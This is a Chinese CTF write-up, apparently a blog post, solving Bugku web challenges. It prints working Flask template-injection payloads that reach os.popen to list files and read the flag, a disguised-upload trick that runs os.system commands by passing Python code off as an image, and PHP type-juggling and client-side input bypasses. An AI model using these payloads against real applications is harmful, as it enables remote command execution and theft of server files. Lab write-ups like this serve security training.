bugku.ctf ---WEB(还有后续)

bugku.ctf ---WEB

1.Simple_SSTI_1

1.启动场景

2. 页面说你需要输入一个名为flag的参数。

3.查看网页源代码,提示在flask中,设置了secret_key。意思是在注入模板中输入内容就会显示对应的值。

4.传入?flag={{config.SECRET_KEY}}显示flag

 2.Simple_SSTI_2

魔术对象:

__class__:返回类型所属的对象

__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__"返回该对象所继承的基类          // __base__和__mro__都是用来寻找基类的

__subclasses__:获取当前类的所有子类

__init__ :类的初始化方法

__globals__:对包含(保存)函数全局变量的字典的引用

os.popen():

__globals__[‘os’].popen(‘ls’,‘r’).read()

1.启动好环境之后 依旧是服务端模板注入,查看源代码没有可利用的信息

2.http://114.67.175.224:19941/?flag={{config}}

3.使用ls查看有哪些文件:

?flag={{config.__class__.__init__.__globals__['os'].popen('ls','r').read()}}

4.发现了flag文件,直接cat查看?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag','r').read()}}

3.Flask_FileUpload

新建txt,输入: import os os.system('ls /') 保存为a.png,然后上传,发现根目录下有个flag, 然后在修改txt内容为: import os os.system('cat /flag') 保存后,再上传,在新页面中查看源码,得到flag      ***因为python执行系统命令需要os这个库***

源码限制了白名单为jpg、png 上传php失败了

查看源代码意思为:上传文件,我会返回python运行的结果 

上传一下jpg

使用os模块,并把后缀改为jpg上传抓包,发现jpg内的代码执行成功,但是没有显示flag,说明不在当前目录下。

import os

os.system('ls/')

查看根目录下的文件,发现flag位置。

 import os

os.system('cat /flag')

4.留言板

5.滑稽

1.启动环境后页面显示这个

2.查看页面源代码

6.计算器

计算题答案填进去就行了,但是发现有长度限制

F12发现输入框maxlength="1",意思是最大长度是1,改大一点提交

7.GET

代码告诉我们用get方式对what进行传参

?what=flag即可。

8.POST

用POST方式对what进行传参。

抓包 在repeater模块下右键,改变提交方式,Change request method

9.矛盾

$num=$_GET['num'];//GET方式获取参数
if(!is_numeric($num))//is_numeric()函数是判断是否为数字或者数字字符串,且有bool is_numeric ( mixed $var )
{
echo $num;
if($num==1)//矛盾既要是1又要不是数字
echo 'flag{**********}';
}

构造payload语句 num=1e

114.67.175.224:11529/?num=1e

10.alert

F12打开后查找到script中的一串编码,复制粘贴刀一个新建文本文档中,然后将文本文档后缀改为html,双击打开即可

burpsuite抓包

然后发送到重放模块

把这个复制粘贴到html10解码  XSS平台-XSS测试网站-仅用于安全免费测试 (xssaq.com)



11.你必须让他停下

ctrl+u 一直刷新 到10.jpg就会出现flag

或者burpsuite抓包,然后发送到重放器,发送几次就有flag了

  • 60
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值